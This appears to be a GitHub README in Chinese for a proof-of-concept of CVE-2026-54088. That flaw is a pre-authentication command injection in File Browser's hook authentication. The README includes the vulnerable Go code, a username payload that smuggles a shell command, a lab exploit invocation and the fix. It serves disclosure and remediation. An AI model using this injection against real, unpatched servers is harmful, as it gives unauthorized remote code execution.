Saku0512/CVE-2026-54088-poc
GitHub: Saku0512/CVE-2026-54088-poc
该项目是 File Browser CVE-2026-54088 认证前命令注入漏洞的概念验证,用于复现和分析该漏洞的利用路径与修复方案。
Stars: 0 | Forks: 0
# CVE-2026-54088:File Browser Hook Authentication 命令注入 PoC
## 描述
本仓库包含 CVE-2026-54088 的概念验证(PoC),这是 **File Browser**(版本 `<= 2.63.5`)中的一个严重 OS 命令注入漏洞。
该漏洞存在于 **Hook Authentication** 功能中。当管理员配置 File Browser 使用外部命令对用户进行身份验证时,登录提供的 `username` 和 `password` 值会通过 `os.Expand()` 展开到配置的命令字符串中,且未进行任何转义。未经身份验证的远程攻击者可以通过登录请求注入 shell 语法,并在身份验证成功之前执行任意命令。
**发现者:** saku0512 (https://github.com/Saku0512)
## 免责声明
本项目仅用于教育和合乎道德的安全测试目的。
对于因使用此工具而导致的任何误用、损坏或非法活动,作者概不负责。未经授权访问计算机系统是非法的。请仅在您拥有明确授权进行安全测试的环境中使用此软件。
## 漏洞详情
- **CVE ID:** CVE-2026-54088
- **公告:** GHSA-m93h-4hw7-5qcm
- **类型:** OS 命令注入 (CWE-78)
- **影响:** 认证前远程代码执行 (RCE)
- **受影响版本:** File Browser `<= 2.63.5`
- **修复版本:** File Browser `2.63.6`
- **受影响文件:** `auth/hook.go`
- **受影响函数:** `HookAuth.RunCommand`
### 根本原因
`HookAuth.RunCommand()` 会拆分配置的身份验证命令,并使用攻击者控制的请求数据展开凭据占位符:
```
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
```
如果 hook 命令配置为:
```
sh -c $USERNAME
```
并且攻击者提交了如下用户名:
```
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
```
服务器将在登录尝试期间执行攻击者控制的 shell 脚本。此过程不需要有效的账户或密码。
### 修复代码
该问题已在提交 [`34ae34e764d72540c039f1f5ea2ec4c974168c1f`](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f) 中修复,方法是从 hook 命令字符串中移除了凭据替换。现在,hook 命令会按配置原样执行,而凭据仅通过环境变量提供:
```
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
```
被移除的易受攻击逻辑是 `os.Expand()` 循环,该循环会在调用 `exec.Command()` 之前,使用攻击者控制的凭据值重写命令参数。该修复还添加了回归测试,以确保注入的凭据无法更改 hook 命令,并且 `USERNAME` / `PASSWORD` 仍然可以通过环境提供给 hooks。
## 概念验证(用法)
### 1. 环境设置
启动存在漏洞的 File Browser 环境。`filebrowser-init` 服务会创建数据库,并使用存在漏洞的命令启用 Hook Authentication。
```
docker compose up -d
```
目标将可通过以下地址访问:
```
http://localhost:8080
```
### 2. 执行 Exploit
在此目录下运行 exploit 脚本:
```
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
```
exploit 会向 `/api/login` 发送单个未经身份验证的登录请求。预期身份验证会失败,但注入的命令会先执行。
### 3. 验证
验证命令是否已在 File Browser 容器内执行:
```
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
```
如果文件存在,则确认发生了认证前 RCE。
### 4. 清理
```
docker compose down -v
```
## 修复建议
将 File Browser 更新到 **版本 2.63.6** 或更高版本。
凭据应仅作为环境变量传递给 hook 命令,而不是插入到 shell 命令字符串中。任何剩余的命令执行路径都应避免 shell 求值,或使用严格的参数分离和转义。
## 参考
- [File Browser GitHub 仓库](https://github.com/filebrowser/filebrowser)
- [File Browser v2.63.5 存在漏洞的实现](https://github.com/filebrowser/filebrowser/blob/v2.63.5/auth/hook.go)
- [修复提交:移除带有 shell 替换的未记录 hook 身份验证](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f)
标签:CISA项目, Go, PoC, RCE, Ruby工具, Web安全, 命令注入, 安全, 暴力破解, 版权保护, 蓝队分析, 请求拦截, 超时处理, 逆向工具